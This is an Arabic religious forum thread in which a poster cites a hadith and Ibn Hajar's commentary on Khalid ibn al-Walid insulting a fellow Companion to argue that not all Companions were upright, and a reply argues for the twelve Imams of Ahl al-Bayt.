    2541 - ﺣﺪﺛﻨﺎ : ﻋﺜﻤﺎﻥ ﺑﻦ ﺃﺑﻲ ﺷﻴﺒﺔ ، ﺣﺪﺛﻨﺎ : ﺟﺮﻳﺮ ، ﻋﻦ ﺍﻷﻋﻤﺶ ، ﻋﻦ ﺃﺑﻲ ﺻﺎﻟﺢ ، ﻋﻦ ﺃﺑﻲ ﺳﻌﻴﺪ ، ﻗﺎﻝ : ﻛﺎﻥ ﺑﻴﻦ ﺧﺎﻟﺪ ﺑﻦ ﺍﻟﻮﻟﻴﺪ ﻭﺑﻴﻦ ﻋﺒﺪ ﺍﻟﺮﺣﻤﻦ ﺑﻦ ﻋﻮﻑ ﺷﻲﺀ ﻓﺴﺒﻪ ﺧﺎﻟﺪ ، ﻓﻘﺎﻝ ﺭﺳﻮﻝ ﺍﻟﻠﻪ ‏( ﺹ ‏) : ﻻ ﺗﺴﺒﻮﺍ ﺃﺣﺪﺍ ﻣﻦ ﺃﺻﺤﺎﺑﻲ ﻓﺈﻥ ﺃﺣﺪﻛﻢ ﻟﻮ ﺃﻧﻔﻖ ﻣﺜﻞ ﺃﺣﺪ ﺫﻫﺒﺎ ﻣﺎ ﺃﺩﺭﻙ ﻣﺪ ﺃﺣﺪﻫﻢ ﻭﻻ ﻧﺼﻴﻔﻪ ، ﺣﺪﺛﻨﺎ : ﺃﺑﻮ ﺳﻌﻴﺪ ﺍﻷﺷﺞ ﻭﺃﺑﻮ ﻛﺮﻳﺐ ، ﻗﺎﻻ : ﺣﺪﺛﻨﺎ : ﻭﻛﻴﻊ ، ﻋﻦ ﺍﻷﻋﻤﺶ ﺡ ، ﻭﺣﺪﺛﻨﺎ : ﻋﺒﻴﺪ ﺍﻟﻠﻪ ﺑﻦ ﻣﻌﺎﺫ ، ﺣﺪﺛﻨﺎ : ﺃﺑﻲ ﺡ ، ﻭﺣﺪﺛﻨﺎ : ﺍﺑﻦ ﺍﻟﻤﺜﻨﻰ ﻭﺍﺑﻦ ﺑﺸﺎﺭ ، ﻗﺎﻻ : ﺣﺪﺛﻨﺎ : ﺍﺑﻦ ﺃﺑﻲ ﻋﺪﻱ ﺟﻤﻴﻌﺎ ، ﻋﻦ ﺷﻌﺒﺔ ، ﻋﻦ ﺍﻷﻋﻤﺶ ﺑﺎﺳﻨﺎﺩ ﺟﺮﻳﺮ ﻭﺃﺑﻲ ﻣﻌﺎﻭﻳﺔ ﺑﻤﺜﻞ ﺣﺪﻳﺜﻬﻤﺎ ﻭﻟﻴﺲ ﻓﻲ ﺣﺪﻳﺚ ﺷﻌﺒﺔ ﻭﻭﻛﻴﻊ ﺫﻛﺮ ﻋﺒﺪ ﺍﻟﺮﺣﻤﻦ ﺑﻦ ﻋﻮﻑ ﻭﺧﺎﻟﺪ ﺑﻦ ﺍﻟﻮﻟﻴﺪ .
    ﺍﻟﺮﺍﺑﻂ :


    ﻓﺘﺢ ﺍﻟﺒﺎﺭﻱ - ﺍﺑﻦ ﺣﺠﺮ ‏]
    ﺍﻟﻜﺘﺎﺏ : ﻓﺘﺢ ﺍﻟﺒﺎﺭﻱ ﺷﺮﺡ ﺻﺤﻴﺢ ﺍﻟﺒﺨﺎﺭﻱ
    ﺍﻟﻤﺆﻟﻒ : ﺃﺣﻤﺪ ﺑﻦ ﻋﻠﻲ ﺑﻦ ﺣﺠﺮ ﺃﺑﻮ ﺍﻟﻔﻀﻞ ﺍﻟﻌﺴﻘﻼﻧﻲ ﺍﻟﺸﺎﻓﻌﻲ
    ﺍﻟﻨﺎﺷﺮ : ﺩﺍﺭ ﺍﻟﻤﻌﺮﻓﺔ - ﺑﻴﺮﻭﺕ ، 1379
    ﺗﺤﻘﻴﻖ : ﺃﺣﻤﺪ ﺑﻦ ﻋﻠﻲ ﺑﻦ ﺣﺠﺮ ﺃﺑﻮ ﺍﻟﻔﻀﻞ ﺍﻟﻌﺴﻘﻼﻧﻲ ﺍﻟﺸﺎﻓﻌﻲ

    ‏( 7/35 ‏)

    ﻓﺎﻥ ﻓﻴﻬﺎ ﺇﺷﺎﺭﺓ ﺇﻟﻰ ﻣﻮﻗﻊ ﺍﻟﺴﺒﺐ ﺍﻟﺬﻱ ﺫﻛﺮﺗﻪ ﻭﺫﻟﻚ ﺍﻥ ﺍﻹﻧﻔﺎﻕ ﻭﺍﻟﻘﺘﺎﻝ ﻛﺎﻥ ﻗﺒﻞ ﻓﺘﺢ ﻣﻜﺔ ﻋﻈﻴﻤﺎ ﻟﺸﺪﺓ ﺍﻟﺤﺎﺟﺔ ﺇﻟﻴﻪ ﻭﻗﻠﺔ ﺍﻟﻤﻌﺘﻨﻲ ﺑﻪ ﺑﺨﻼﻑ ﻣﺎ ﻭﻗﻊ ﺑﻌﺪ ﺫﻟﻚ ﻻﻥ ﺍﻟﻤﺴﻠﻤﻴﻦ ﻛﺜﺮﻭﺍ ﺑﻌﺪ ﺍﻟﻔﺘﺢ ﻭﺩﺧﻞ ﺍﻟﻨﺎﺱ ﻓﻲ ﺩﻳﻦ ﺍﻟﻠﻪ ﺍﻓﻮﺍﺟﺎ ﻓﺈﻧﻪ ﻻ ﻳﻘﻊ ﺫﻟﻚ ﺍﻟﻤﻮﻗﻊ ﺍﻟﻤﺘﻘﺪﻡ ﻭﺍﻟﻠﻪ ﺍﻋﻠﻢ ﻗﻮﻟﻪ ﺗﺎﺑﻌﻪ ﺟﺮﻳﺮ ﻫﻮ ﺑﻦ ﻋﺒﺪ ﺍﻟﺤﻤﻴﺪ ﻭﻋﺒﺪ ﺍﻟﻠﻪ ﺑﻦ ﺩﺍﻭﺩ ﻫﻮ ﺍﻟﺨﺮﻳﺒﻲ ﺑﺎﻟﻤﻌﺠﻤﺔ ﻭﺍﻟﻤﻮﺣﺪﺓ ﻣﺼﻐﺮ ﻭﺃﺑﻮ ﻣﻌﺎﻭﻳﺔ ﻫﻮ ﺍﻟﻀﺮﻳﺮ ﻭﻣﺤﺎﺿﺮ ﺑﻤﻬﻤﻠﺔ ﺛﻢ ﻣﻌﺠﻤﺔ ﺑﻮﺯﻥ ﻣﺠﺎﻫﺪ ﻋﻦ ﺍﻷﻋﻤﺶ ﺃﻱ ﻋﻦ ﺃﺑﻲ ﺻﺎﻟﺢ ﻋﻦ ﺃﺑﻲ ﺳﻌﻴﺪ ﻓﺎﻣﺎ ﺭﻭﺍﻳﺔ ﺟﺮﻳﺮ ﻓﻮﺻﻠﻬﺎ ﻣﺴﻠﻢ ﻭﺑﻦ ﻣﺎﺟﻪ ﻭﺃﺑﻮ ﻳﻌﻠﻰ ﻭﻏﻴﺮﻫﻢ ﻭﺍﻣﺎ ﺭﻭﺍﻳﺔ ﻣﺤﺎﺿﺮ ﻓﺮﻭﻳﻨﺎﻫﺎ ﻣﻮﺻﻮﻟﺔ ﻓﻲ ﻓﻮﺍﺋﺪ ﺃﺑﻲ ﺍﻟﻔﺘﺢ ﺍﻟﺤﺪﺍﺩ ﻣﻦ ﻃﺮﻳﻖ ﺍﺣﻤﺪ ﺑﻦ ﻳﻮﻧﺲ ﺍﻟﻀﺒﻲ ﻋﻦ ﻣﺤﺎﺿﺮ ﺍﻟﻤﺬﻛﻮﺭ ﻓﺬﻛﺮﻩ ﻣﺜﻞ ﺭﻭﺍﻳﺔ ﺟﺮﻳﺮ ﻟﻜﻦ ﻗﺎﻝ ﺑﻴﻦ ﺧﺎﻟﺪ ﺑﻦ ﺍﻟﻮﻟﻴﺪ ﻭﺑﻴﻦ ﺃﺑﻲ ﺑﻜﺮ ﺑﺪﻝ ﻋﺒﺪ ﺍﻟﺮﺣﻤﻦ ﺑﻦ ﻋﻮﻑ ﻭﻗﻮﻝ ﺟﺮﻳﺮ ﺃﺻﺢ..........




    يعني عندهم روايتان رواية تقول انه كان يسب عبد الرحمن بن عوف..ورواية تقول بأنه كان يسب ابا بكر....

    وهذا يثبت ان ليس كل الصحابة عدول....

    ما ذكرناه هو إجمالا اما التفاصيل فسوف تأتي انشالله في ابحاث متفرقة....
    التعديل الأخير تم بواسطة محمد نور الرافضي; الساعة 14-02-2019, 08:25 PM.

  • #2
    اللهم صلِ على محمد واله الطاهرين

    حيا الاخ الفاضل محمد نور الرافضي جعلك الله رافض للباطل ومتبع للحق اينما كان وهذا لايكون الا بالتمسك بالصراط المستقيم والعروة الوثقى وهم محمد واله الطاهرين

    نعم ايها الفاضل قال رسول الله مراراً وتكرارا ان خلفائي من بعدي (اثنا عشر خليفة ) فالعقل يحكم بان رسول الله بين الدين الاسلامي بلا غموض وبلا اي اشكال لانه مامور ببيانه للناس كما نص القران الكريم ,وهذا يستلزم بيان خلفائه بشكل واضح وصريح وهذا مانعتقد به نحن اتباع اهل البيت حيث وصفهم باسمائهم وكناهم واحد تلو الاخر .
    ويفترض للاخوة من اهل السنه ان يسالوا انفسهم كيف لرسول الله ان يبين بيان ناقص وغير مفهوم وكيف لم يبين اسماء خلفائه ؟ وكيف يبقى امته في حيرة وضياع وضلالة !!
    اذن على رياهم ان رسول الله تعمد هذه الحيرة لامته وحاشاه ان يكون كذلك ,لانه بين وانذر تمام البيان والانذار كما شهد له القران الكريم

    فمن هؤلاء الاثنا عشر الذين عدتهم كعدة بني اسرائيل الهادين المهدين الذين لايزال امر الدين بهم قائما ماوليهم اثنا عشر من خلفائه ؟
    هل يعقل ان تنطبق هذه الموصفات على بني امية التي ضجت الدنيا من ظلمهم وجورهم ؟
    ام هل تنطبق هذه الموصفات على حكام بني العباس حكام الفسوق والمجون كما يذكر التاريخ ؟
    ام تنطبق فقط على اهل البيت وهم عترة محمد صلوات الله وسلامه عليهم اجميعن من اول واحد علي بن يابي طالب الى الامام المهدي عجل الله تعالى فرحه الشريف الامام الثاني عشر .
    فهؤلاء هم الصراط المستقيم وخلفاء رسول رب العاليمن وترجمان كتاب الله الكريم

    فوجب على الجميع اتباعهم والتمسك بهم كما امر رسول الله حينما قال ما ان تمسكتم بهما اي القران والعترة الهادية المهدية فلن تضلوا من بعيد ابدا .

    ـــــ التوقيع ـــــ
    أين قاصم شوكة المعتدين، أين هادم أبنية الشرك والنفاق، أين مبيد أهل الفسوق
    و العصيان والطغيان،..
    أين مبيد العتاة والمردة، أين مستأصل أهل العناد
    والتضليل والالحاد، أين معز الاولياء ومذل الاعداء.

    تعليق

    المحتوى السابق تم حفظه تلقائيا. استعادة أو إلغاء.
    حفظ-تلقائي
    Smile :) Embarrassment :o Big Grin :D Wink ;) Stick Out Tongue :p Mad :mad: Confused :confused: Frown :( Roll Eyes (Sarcastic) :rolleyes: Cool :cool: EEK! :eek:
    x
    يعمل...
    X